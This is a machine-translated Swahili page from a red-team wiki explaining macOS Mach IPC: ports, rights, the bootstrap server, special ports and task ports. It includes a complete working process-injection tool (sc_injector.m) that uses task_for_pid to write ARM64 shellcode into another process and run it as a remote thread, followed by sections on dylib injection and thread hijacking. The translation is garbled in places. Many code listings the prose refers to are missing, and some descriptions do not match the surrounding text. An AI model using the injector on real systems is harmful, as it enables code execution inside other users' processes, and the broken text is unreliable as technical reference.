macOS IPC - Inter Process Communication
Jifunze na zoezi la Udukuzi wa AWS:
Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)
Jifunze na zoezi la Udukuzi wa GCP: 
Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)
Ujumbe wa Mach kupitia Bandari
Taarifa Msingi
Mach hutumia kazi kama kitengo kidogo cha kugawana rasilimali, na kila kazi inaweza kuwa na vijiti vingi. Hizi kazi na vijiti vimepangwa 1:1 kwa michakato na vijiti vya POSIX.
Mawasiliano kati ya kazi hufanyika kupitia Mawasiliano ya Michakato ya Mach (IPC), kwa kutumia njia za mawasiliano za njia moja. Ujumbe hupitishwa kati ya bandari, ambazo hufanya kama fifambo la ujumbe linalosimamiwa na kernel.
Bandari ni elementi msingi ya Mach IPC. Inaweza kutumika kutuma ujumbe na kupokea.
Kila mchakato una jedwali la IPC, ambapo inawezekana kupata bandari za mach za mchakato. Jina la bandari ya mach ni kweli nambari (kielekezi kwa kitu cha kernel).
Mchakato pia unaweza kutuma jina la bandari na baadhi ya haki kwa kazi tofauti na kernel itafanya kuingia hii katika jedwali la IPC la kazi nyingine ionekane.
Haki za Bandari
Haki za bandari, ambazo hufafanua ni operesheni gani kazi inaweza kutekeleza, ni muhimu katika mawasiliano haya. Haki za bandari zinaweza kuwa (maelezo kutoka hapa):
Haki ya Kupokea, ambayo inaruhusu kupokea ujumbe uliotumwa kwa bandari. Bandari za Mach ni foleni za MPSC (wazalishaji wengi, mtumiaji mmoja), ambayo inamaanisha kwamba inaweza kuwepo haki moja ya kupokea kwa kila bandari katika mfumo mzima (tofauti na mabomba, ambapo michakato mingi inaweza kushikilia viambatisho vya faili kwa mwisho wa kusoma wa bomba moja).
Kazi yenye Haki ya Kupokea inaweza kupokea ujumbe na kuunda Haki za Kutuma, kuruhusu kutuma ujumbe. Awali tu kazi yenyewe ina Haki ya Kupokea juu ya bandari yake.
Ikiwa mmiliki wa Haki ya Kupokea anakufa au kuifunga, haki ya kutuma inakuwa bure (jina lililokufa).
Haki ya Kutuma, inayoruhusu kutuma ujumbe kwa bandari.
Haki ya Kutuma inaweza kufananishwa ili kazi ikiwa na Haki ya Kutuma inaweza kufananisha haki hiyo na kuipatia kazi ya tatu.
Tafadhali kumbuka kwamba haki za bandari pia zinaweza kupitishwa kupitia ujumbe wa Mac.
Haki ya Kutuma mara moja, inayoruhusu kutuma ujumbe moja kwa bandari na kisha kutoweka.
Haki hii haiwezi kufananishwa, lakini inaweza kuhamishwa.
Haki ya Seti ya Bandari, inayotambulisha seti ya bandari badala ya bandari moja. Kutoa ujumbe kutoka kwa seti ya bandari kunatoa ujumbe kutoka kwa moja ya bandari inayojumuisha. Seti za bandari zinaweza kutumika kusikiliza bandari kadhaa kwa wakati mmoja, kama
chagua/piga kura/epoll/kqueuekatika Unix.Jina lililokufa, ambalo sio haki halisi ya bandari, bali ni nafasi tupu. Wakati bandari inaharibiwa, haki zote za bandari zilizopo kwa bandari hiyo zinageuka kuwa majina yaliyokufa.
Kazi zinaweza kusafirisha HAKI ZA KUTUMA kwa wengine, kuwaruhusu kutuma ujumbe nyuma. HAKI ZA KUTUMA pia zinaweza kufananishwa, hivyo kazi inaweza kuiga na kumpa haki kwa kazi ya tatu. Hii, pamoja na mchakato wa kati unaojulikana kama seva ya bootstrap, inaruhusu mawasiliano yenye ufanisi kati ya kazi.
Bandari za Faili
Bandari za faili huruhusu kufunga viambatisho vya faili katika bandari za Mac (kwa kutumia Haki za Bandari za Mach). Inawezekana kuunda fileport kutoka kwa FD iliyotolewa kutumia fileport_makeport na kuunda FD kutoka kwa fileport kutumia fileport_makefd.
Kuweka Mawasiliano
Kama ilivyotajwa awali, inawezekana kutuma haki kutumia ujumbe wa Mach, hata hivyo, hauwezi kutuma haki bila kuwa na haki tayari ya kutuma ujumbe wa Mach. Kwa hivyo, mawasiliano ya kwanza yanathibitishwaje?
Kwa hili, seva ya bootstrap (launchd kwenye mac) inahusika, kwani kila mtu anaweza kupata HAKI YA KUTUMA kwa seva ya bootstrap, inawezekana kuomba haki ya kutuma ujumbe kwa mchakato mwingine:
Kazi A inaunda bandari mpya, ikipata HAKI YA KUPOKEA juu yake.
Kazi A, ikiwa mmiliki wa HAKI YA KUPOKEA, inazalisha HAKI YA KUTUMA kwa bandari.
Kazi A inathibitisha mawasiliano na seva ya bootstrap, na kuitumia HAKI YA KUTUMA kwa bandari iliyozalishwa mwanzoni.
Kumbuka kwamba mtu yeyote anaweza kupata HAKI YA KUTUMA kwa seva ya bootstrap.
Kazi A inatuma ujumbe wa
bootstrap_registerkwa seva ya bootstrap ili kuhusisha bandari iliyotolewa na jina kamacom.apple.taskaKazi B inaingiliana na seva ya bootstrap kutekeleza utaftaji wa bootstrap kwa jina la huduma (
bootstrap_lookup). Kwa hivyo seva ya bootstrap inaweza kujibu, kazi B itatuma HAKI YA KUTUMA kwa bandari iliyoundwa hapo awali ndani ya ujumbe wa utaftaji. Ikiwa utaftaji unafanikiwa, seva inaduplicate HAKI YA KUTUMA iliyopokea kutoka kwa Kazi A na kuhamisha kwa Kazi B.
Kumbuka kwamba mtu yeyote anaweza kupata HAKI YA KUTUMA kwa seva ya bootstrap.
Kwa HAKI HII YA KUTUMA, Kazi B inaweza kutuma ujumbe kwa Kazi A.
Kwa mawasiliano ya pande zote kawaida kazi B inazalisha bandari mpya na HAKI YA KUPOKEA na HAKI YA KUTUMA, na kumpa HAKI YA KUTUMA kwa Kazi A ili iweze kutuma ujumbe kwa KAZI B (mawasiliano ya pande zote).
Seva ya bootstrap haiwezi kuthibitisha jina la huduma lililodaiwa na kazi. Hii inamaanisha kazi inaweza kwa uwezekano kujifanya kuwa kazi yoyote ya mfumo, kama vile kudai jina la huduma ya idhini na kisha kuidhinisha kila ombi.
Kisha, Apple huhifadhi majina ya huduma zilizotolewa na mfumo katika faili za usanidi salama, zilizoko katika saraka zilizolindwa na SIP: /System/Library/LaunchDaemons na /System/Library/LaunchAgents. Pamoja na kila jina la huduma, binary inayohusiana pia imehifadhiwa. Seva ya bootstrap, itaunda na kushikilia HAKI YA KUPOKEA kwa kila moja ya majina haya ya huduma.
Kwa huduma hizi zilizopangwa mapema, mchakato wa utaftaji unatofautiana kidogo. Wakati jina la huduma linatafutwa, launchd huanzisha huduma hiyo kwa muda. Mchakato mpya ni kama ifuatavyo:
Kazi B inaanzisha utaftaji wa bootstrap kwa jina la huduma.
launchd inachunguza ikiwa kazi inaendeshwa na ikiwa haiko, inaianzisha.
Kazi A (huduma) inatekeleza kuangalia bootstrap (
bootstrap_check_in()). Hapa, **seva ya bootstrap inaunda HAKI YA KUTUMA, inaishikilia, na inahamisha HAKI YA KUPOKEA kwa Kazi A.launchd inaduplicate HAKI YA KUTUMA na kuituma kwa Kazi B.
Kazi B inazalisha bandari mpya na HAKI YA KUPOKEA na HAKI YA KUTUMA, na kumpa HAKI YA KUTUMA kwa Kazi A (huduma) ili iweze kutuma ujumbe kwa KAZI B (mawasiliano ya pande zote).
Hata hivyo, mchakato huu unatumika tu kwa kazi za mfumo zilizopangwa mapema. Kazi zisizo za mfumo bado zinaendesha kama ilivyoelezwa awali, ambayo inaweza kwa uwezekano kuruhusu udanganyifu.
Kwa hivyo, launchd kamwe haipaswi kugonga au mfumo mzima utaanguka.
Ujumbe wa Mach
Kazi ya mach_msg, kimsingi ni wito wa mfumo, hutumiwa kutuma na kupokea ujumbe wa Mach. Kazi inahitaji ujumbe utumwe kama hoja ya awali. Ujumbe huu lazima uanze na muundo wa mach_msg_header_t, ukifuatiwa na maudhui ya ujumbe halisi. Muundo huo umedefiniwa kama ifuatavyo:
Mchakato unaomiliki haki ya kupokea unaweza kupokea ujumbe kwenye mlango wa Mach. Kinyume chake, wapelekaji hupewa haki ya kutuma au haki ya kutuma mara moja. Haki ya kutuma mara moja ni kwa ajili ya kutuma ujumbe mmoja tu, baada ya hapo inakuwa batili.
Uga wa awali msgh_bits ni ramani ya biti:
Biti ya kwanza (yenye maana zaidi) hutumika kuonyesha kuwa ujumbe ni mgumu (zaidi kuhusu hili hapa chini)
Ya 3 na 4 hutumiwa na kernel
Biti 5 zilizo na thamani ndogo zaidi za byte ya 2 zinaweza kutumika kwa voucher: aina nyingine ya mlango kutuma mchanganyiko wa funguo/thamani.
Biti 5 zilizo na thamani ndogo zaidi za byte ya 3 zinaweza kutumika kwa mlango wa ndani
Biti 5 zilizo na thamani ndogo zaidi za byte ya 4 zinaweza kutumika kwa mlango wa mbali
Aina zinazoweza kutajwa katika voucher, milango ya ndani na ya mbali ni (kutoka mach/message.h):
Kwa mfano, MACH_MSG_TYPE_MAKE_SEND_ONCE inaweza kutumika kuashiria kwamba haki ya kutuma mara moja inapaswa kuletwa na kuhamishiwa kwa ajili ya bandari hii. Inaweza pia kutajwa MACH_PORT_NULL ili kuzuia mpokeaji kuweza kujibu.
Ili kufanikisha mawasiliano ya pande zote kwa urahisi, mchakato unaweza kutaja bandari ya mach katika kichwa cha ujumbe wa mach kinachoitwa bandari ya jibu (msgh_local_port) ambapo mpokeaji wa ujumbe anaweza kutuma jibu kwa ujumbe huu.
Tafadhali elewa kwamba aina hii ya mawasiliano ya pande zote hutumiwa katika ujumbe wa XPC unaotarajia jibu (xpc_connection_send_message_with_reply na xpc_connection_send_message_with_reply_sync). Lakini kawaida bandari tofauti huzalishwa kama ilivyoelezwa hapo awali ili kuunda mawasiliano ya pande zote.
Vitengo vingine vya kichwa cha ujumbe ni:
msgh_size: ukubwa wa pakiti nzima.msgh_remote_port: bandari ambayo ujumbe huu unatumwa.msgh_voucher_port: vifungo vya mach.msgh_id: kitambulisho cha ujumbe huu, ambacho huchambuliwa na mpokeaji.
Tafadhali elewa kwamba ujumbe wa mach hutumwa kupitia bandari ya mach, ambayo ni njia ya mawasiliano ya mpokeaji mmoja, watumaji wengi iliyojengwa ndani ya kernel ya mach. Michakato mingi inaweza kutuma ujumbe kwa bandari ya mach, lakini wakati wowote tu mchakato mmoja unaweza kusoma kutoka kwake.
Ujumbe kisha hufanywa na kichwa cha mach_msg_header_t kifuatiwa na mwili na na trailer (ikiwa ipo) na inaweza kutoa idhini ya kujibu. Katika kesi hizi, kernel inahitaji tu kusafirisha ujumbe kutoka kazi moja hadi nyingine.
Trailer ni taarifa iliyowekwa kwenye ujumbe na kernel (haiwezi kuwekwa na mtumiaji) ambayo inaweza kuhitajika wakati wa kupokea ujumbe kwa kutumia bendera MACH_RCV_TRAILER_<trailer_opt> (kuna taarifa tofauti zinazoweza kuombwa).
Ujumbe Wenye Utata
Hata hivyo, kuna ujumbe mwingine zaidi wenye utata, kama vile wale wanaopitisha haki za bandari za ziada au kushiriki kumbukumbu, ambapo kernel pia unahitaji kutuma vitu hivi kwa mpokeaji. Katika kesi hizi, biti muhimu zaidi ya kichwa msgh_bits inawekwa.
Maelezo yanayowezekana ya kupitisha yanatambuliwa katika mach/message.h:
APIs ya Mac Ports
Tafadhali kumbuka kuwa bandari zinaunganishwa na jina la kazi, kwa hivyo ili kuunda au kutafuta bandari, jina la kazi pia linahitajika kuulizwa (zaidi katika mach/mach_port.h):
mach_port_allocate|mach_port_construct: Unda bandari.mach_port_allocateinaweza pia kuunda seti ya bandari: haki ya kupokea juu ya kikundi cha bandari. Kila wakati ujumbe unapopokelewa inaonyesha bandari kutoka ambapo ulitumwa.mach_port_allocate_name: Badilisha jina la bandari (kwa chaguo-msingi nambari ya 32bit)mach_port_names: Pata majina ya bandari kutoka kwa lengomach_port_type: Pata haki za kazi juu ya jinamach_port_rename: Badilisha jina la bandari (kama dup2 kwa FDs)mach_port_allocate: Tenga kupokea mpya, PORT_SET au DEAD_NAMEmach_port_insert_right: Unda haki mpya katika bandari ambapo una PATAmach_port_...mach_msg|mach_msg_overwrite: Vipengele vinavyotumiwa kutuma na kupokea ujumbe wa mach. Toleo la kubadilisha linaruhusu kutaja buffer tofauti kwa kupokea ujumbe (toleo lingine litaitumia tena).
Weka mach_msg kwenye Hali ya Kufuatilia
Kwa kuwa kazi mach_msg na mach_msg_overwrite ndizo zinazotumiwa kutuma na kupokea ujumbe, kuweka kiungo kwenye hizo kunaweza kuruhusu kuangalia ujumbe uliotumwa na uliopokelewa.
Kwa mfano, anza kufuatilia programu yoyote unayoweza kufuatilia kwani itapakia libSystem.B ambayo itatumia kazi hii.
Ili kupata hoja za mach_msg angalia rejista. Hizi ndizo hoja (kutoka mach/message.h):
Pata thamani kutoka kwenye rejisti:
Chunguza kichwa cha ujumbe ukichunguza hoja ya kwanza:
Aina hiyo ya mach_msg_bits_t ni ya kawaida sana kuruhusu jibu.
Piga namba za bandari
Jina ni jina la chaguo-msingi lililotolewa kwa bandari (angalia jinsi inavyo ongezeka katika byte 3 za kwanza). ipc-object ni kitambulisho cha kipekee kilichofichwa cha bandari.
Pia kumbuka jinsi bandari zenye haki za kutuma pekee zinavyo tambulisha mmiliki wake (jina la bandari + pid).
Pia kumbuka matumizi ya + kuonyesha kazi nyingine zilizounganishwa kwenye bandari hiyo hiyo.
Pia niwezekana kutumia procesxp kuona pia majina ya huduma zilizosajiliwa (ikiwa SIP imelemazwa kutokana na hitaji la com.apple.system-task-port):
Unaweza kusakinisha zana hii kwenye iOS kwa kuipakua kutoka http://newosxbook.com/tools/binpack64-256.tar.gz
Mfano wa Kanuni
Tafadhali angalia jinsi mtumaji anavyo tenga bandari, anajenga haki ya kutuma kwa jina org.darlinghq.example na kuituma kwa seva ya bootstrap wakati mtumaji alipoomba haki ya kutuma ya jina hilo na kuitumia kutuma ujumbe.
Swahili Translation:
Faili hili linaonyesha mfano wa jinsi mchakato unaweza kutuma ujumbe kwa mchakato mwingine kupitia mawasiliano ya mchakato kwenye macOS. Katika mfano huu, mchakato wa kutuma unatumia IPC kwa kutuma ujumbe wa "Hello" kwa mchakato wa kupokea.
Vioja vya Kipekee
Kuna baadhi ya bandari maalum ambazo huruhusu kufanya vitendo fulani nyeti au kupata data nyeti fulani ikiwa kazi ina ruhusa ya KUTUMA juu yao. Hii inafanya bandari hizi kuwa za kuvutia sana kutoka mtazamo wa mshambuliaji si tu kwa sababu ya uwezo lakini pia kwa sababu ni rahisi kushiriki ruhusa za KUTUMA kati ya kazi.
Bandari Maalum za Mwenyeji
Bandari hizi zinawakilishwa na nambari.
Haki za KUTUMA zinaweza kupatikana kwa kuita host_get_special_port na haki za KUPATA kwa kuita host_set_special_port. Walakini, wito wote unahitaji bandari ya host_priv ambayo inaweza kufikiwa tu na root. Zaidi ya hayo, hapo awali root alikuwa na uwezo wa kuita host_set_special_port na kuteka bandari za aina yoyote iliyoruhusu kwa mfano kukiuka saini za nambari kwa kuteka HOST_KEXTD_PORT (SIP sasa inazuia hii).
Hizi zimegawanywa katika vikundi 2: bandari 7 za kwanza zinamilikiwa na kernel ikiwa 1 ni HOST_PORT, 2 ni HOST_PRIV_PORT, 3 ni HOST_IO_MASTER_PORT na 7 ni HOST_MAX_SPECIAL_KERNEL_PORT.
Zile zinazoanza kutoka nambari 8 ni miliki ya daemons ya mfumo na zinaweza kupatikana zikiwa zimetangazwa katika host_special_ports.h.
Bandari ya Mwenyeji: Ikiwa mchakato ana ruhusa ya KUTUMA juu ya bandari hii anaweza kupata habari kuhusu mfumo kwa kuita rutini zake kama vile:
host_processor_info: Pata habari za processorhost_info: Pata habari ya mwenyejihost_virtual_physical_table_info: Jedwali la kurasa la Virtual/Physical (inahitaji MACH_VMDEBUG)host_statistics: Pata takwimu za mwenyejimach_memory_info: Pata muundo wa kumbukumbu ya kernelBandari ya Mwenyeji Priv: Mchakato na haki ya KUTUMA juu ya bandari hii anaweza kufanya vitendo vya kipekee kama kuonyesha data ya kuanza au jaribu la kupakia ugani wa kernel. Mchakato lazima awe root kupata ruhusa hii.
Zaidi ya hayo, ili kuita API ya
kext_requestni lazima kuwa na ruhusa nyingine zacom.apple.private.kext*ambazo hupewa tu programu za Apple.Rutini zingine zinazoweza kuitwa ni:
host_get_boot_info: Patamachine_boot_info()host_priv_statistics: Pata takwimu za kipekeevm_allocate_cpm: Tenga Kumbukumbu Fizikia Inayopatikanahost_processors: Tuma haki kwa waendeshaji wa mwenyejimach_vm_wire: Fanya kumbukumbu iweze kukaaKwa kuwa root anaweza kupata ruhusa hii, inaweza kuita
host_set_[special/exception]_port[s]kuteka bandari maalum ya mwenyeji au bandari za kipekee.
Inawezekana kuona bandari zote maalum za mwenyeji kwa kukimbia:
Kazi Maalum za Bandari
Hizi ni bandari zilizohifadhiwa kwa huduma maarufu. Inawezekana kuzipata/kuziweka kwa kuita task_[get/set]_special_port. Zinaweza kupatikana katika task_special_ports.h:
Kutoka hapa:
TASK_KERNEL_PORT[haki ya kutuma kwa task-self]: Bandari inayotumiwa kudhibiti kazi hii. Hutumiwa kutuma ujumbe unaowaathiri kazi. Hii ni bandari inayorudiwa na mach_task_self (angalia Task Ports hapo chini).
TASK_BOOTSTRAP_PORT[haki ya kutuma kwa bootstrap]: Bandari ya bootstrap ya kazi. Hutumiwa kutuma ujumbe unaohitaji kurudi kwa bandari zingine za huduma za mfumo.
TASK_HOST_NAME_PORT[haki ya kutuma kwa host-self]: Bandari inayotumiwa kuomba habari ya mwenyeji anayejumuisha. Hii ni bandari inayorudiwa na mach_host_self.
TASK_WIRED_LEDGER_PORT[haki ya kutuma kwa ledger]: Bandari inayoitwa chanzo ambacho kazi hii inachota kumbukumbu yake ya msingi ya kernel iliyofungwa.
TASK_PAGED_LEDGER_PORT[haki ya kutuma kwa ledger]: Bandari inayoitwa chanzo ambacho kazi hii inachota kumbukumbu yake ya msingi ya kumbukumbu inayosimamiwa kwa chaguo-msingi.
Task Ports
Awali Mach haikuwa na "mchakato" ilikuwa na "kazi" ambayo ilichukuliwa kama chombo cha nyuzi. Wakati Mach ilipojumuishwa na BSD kila kazi ilihusishwa na mchakato wa BSD. Kwa hivyo kila mchakato wa BSD una maelezo anayohitaji kuwa mchakato na kila kazi ya Mach pia ina shughuli zake za ndani (isipokuwa kwa pid 0 isiyokuwepo ambayo ni kernel_task).
Kuna kazi mbili za kuvutia sana zinazohusiana na hii:
task_for_pid(target_task_port, pid, &task_port_of_pid): Pata haki ya KUTUMA kwa bandari ya kazi ya kazi inayohusiana na ile iliyoainishwa napidna itoe kwatarget_task_portiliyotajwa (ambayo kawaida ni kazi ya wito ambayo imeitumiamach_task_self(), lakini inaweza kuwa bandari ya KUTUMA juu ya kazi tofauti.)pid_for_task(task, &pid): Ukipewa haki ya KUTUMA kwa kazi, pata PID ambayo kazi hii inahusiana nayo.
Ili kutekeleza vitendo ndani ya kazi, kazi inahitaji haki ya KUTUMA kwake yenyewe kwa kuita mach_task_self() (ambayo hutumia task_self_trap (28)). Kwa idhini hii, kazi inaweza kutekeleza vitendo kadhaa kama:
task_threads: Pata haki ya KUTUMA juu ya bandari zote za kazi za nyuzi za kazitask_info: Pata habari kuhusu kazitask_suspend/resume: Sitisha au rejesha kazitask_[get/set]_special_portthread_create: Unda nyuzitask_[get/set]_state: Dhibiti hali ya kazina zaidi inaweza kupatikana katika mach/task.h
Tambua kwamba ukiwa na haki ya KUTUMA juu ya bandari ya kazi ya kazi tofauti, inawezekana kutekeleza vitendo kama hivyo juu ya kazi tofauti.
Zaidi ya hayo, bandari ya kazi ni pia bandari ya vm_map ambayo inaruhusu kusoma na kubadilisha kumbukumbu ndani ya kazi kwa kutumia kazi kama vm_read() na vm_write(). Hii kimsingi inamaanisha kwamba kazi yenye haki za KUTUMA juu ya bandari ya kazi ya kazi tofauti itaweza kuingiza namna ndani ya kazi hiyo.
Kumbuka kwamba kwa sababu kernel pia ni kazi, ikiwa mtu anafanikiwa kupata idhini ya KUTUMA juu ya kernel_task, itaweza kufanya kernel kutekeleza chochote (jailbreaks).
Piga simu
mach_task_self()ili pate jina kwa bandari hii kwa kazi ya mwito. Bandari hii inarithiwa tu wakati waexec(); kazi mpya iliyoumbwa nafork()inapata bandari mpya ya kazi (kama kesi maalum, kazi pia inapata bandari mpya ya kazi baada yaexec()katika binary ya suid). Njia pekee ya kuzalisha kazi na kupata bandari yake ni kufanya "port swap dance" wakati wa kufanyafork().Hizi ni vizuizi vya kupata bandari (kutoka
macos_task_policykutoka kwa binaryAppleMobileFileIntegrity):Ikiwa programu ina ruhusa ya
com.apple.security.get-task-allowmchakato kutoka kwa mtumiaji huyo anaweza kupata bandari ya kazi (kawaida huongezwa na Xcode kwa madhumuni ya kurekebisha makosa). Mchakato wa kuidhinisha hautaruhusu hii kwa matoleo ya uzalishaji.Programu zilizo na ruhusa ya
com.apple.system-task-portszinaweza kupata bandari ya kazi kwa mchakato wowote, isipokuwa kernel. Katika toleo za zamani ilikuwa inaitwatask_for_pid-allow. Hii inatolewa tu kwa programu za Apple.Root anaweza kupata bandari za kazi za programu zisizotengenezwa na mazingira ya kutekeleza ulinzi (na sio kutoka Apple).
Bandari ya jina la kazi: Toleo lisiloruhusiwa la bandari ya kazi. Inahusisha kazi, lakini haimruhusu kuidhibiti. Kitu pekee kinachoonekana kupitia hii ni task_info().
Bandari za Nyuzi
Nyuzi pia zina bandari zinazohusiana, ambazo zinaonekana kutoka kwa kazi inayopiga simu ya task_threads na kutoka kwa processor na processor_set_threads. Haki ya KUTUMA kwa bandari ya nyuzi inaruhusu kutumia kazi kutoka kwa mfumo wa thread_act, kama vile:
thread_terminatethread_[get/set]_stateact_[get/set]_statethread_[suspend/resume]thread_info...
Nyuzi yoyote inaweza kupata bandari hii kwa kupiga simu ya mach_thread_sef.
Kuingiza Shellcode kwenye nyuzi kupitia Bandari ya Kazi
Unaweza kupata shellcode kutoka:
Introduction to ARM64v8Maelezo
Faili hii inaonyesha mifano ya jinsi mchakato unaweza kutumia mawasiliano ya mchakato wa IPC kufanya uharibifu wa mchakato mwingine. Kwa mfano, mchakato unaweza kutumia mawasiliano ya mchakato wa IPC kufanya mchakato mwingine kuzalisha kumbukumbu nyingi, kusababisha kufungwa kwa mchakato huo. Faili hii inaonyesha jinsi mchakato unaweza kutumia vibali vya kiholela kufikia mawasiliano ya mchakato wa IPC.
Kupasha programu iliyopita na ongeza haki za kuweza kuingiza msimbo na mtumiaji huyo huyo (ikiwa sivyo utahitaji kutumia sudo).
sc_injector.m
```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c
#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>
#ifdef arm64
kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }
return (0); }
pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue]; }
BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }
NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;
if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }
inject(pid); }
return 0; }
Ili hii ifanye kazi kwenye iOS unahitaji ruhusa ya dynamic-codesigning ili uweze kufanya kumbukumbu inayoweza kuandikwa kuwa inatekelezeka.
Kuingiza Dylib kwenye mjadala kupitia mlango wa Kazi
Katika macOS mijadala inaweza kudhibitiwa kupitia Mach au kutumia posix pthread api. Mjadala tulioumba katika kuingiza ya awali, uliundwa kwa kutumia Mach api, hivyo haifai kwa posix.
Ilikuwa inawezekana kuingiza shellcode rahisi ili kutekeleza amri kwa sababu haikuwa inahitaji kufanya kazi na posix apis zinazofaa, bali na Mach. Kuingiza za kina zaidi zingehitaji mjadala pia kuwa inayofaa kwa posix.
Hivyo basi, ili kuboresha mjadala ni vyema kuita pthread_create_from_mach_thread ambayo itaunda pthread halali. Kisha, pthread mpya hii inaweza kuita dlopen ili kupakia dylib kutoka kwenye mfumo, hivyo badala ya kuandika shellcode mpya kufanya vitendo tofauti ni vyema kupakia maktaba za desturi.
Unaweza kupata dylibs mfano katika (kwa mfano ule unaotengeneza logi kisha unaweza kusikiliza):
### Maelezo ya Mchakato wa IPC wa macOS
Kwa kawaida, mchakato wa IPC wa macOS unaweza kutumiwa kwa madhumuni mazuri kama vile kubadilishana data kati ya michakato. Hata hivyo, kwa upande mwingine, mchakato wa IPC unaweza kutumiwa vibaya kwa kusudi la kukiuka usalama wa mfumo. Kwa hivyo, ni muhimu kuchunguza na kufahamu jinsi mchakato wa IPC unavyofanya kazi ili kuzuia matumizi mabaya yake.
Utekaji wa Mjadala kupitia Bandari ya Kazi
Katika mbinu hii, mjadala wa mchakato unatekwa:
Uchunguzi wa Utekaji wa Bandari ya Kazi
Wakati unaita task_for_pid au thread_create_* inaongeza hesabu katika muundo wa kazi kutoka kernel ambao unaweza kupatikana kutoka kwa mode ya mtumiaji kwa kuita task_info(task, TASK_EXTMOD_INFO, ...)
Bandari za Kipekee
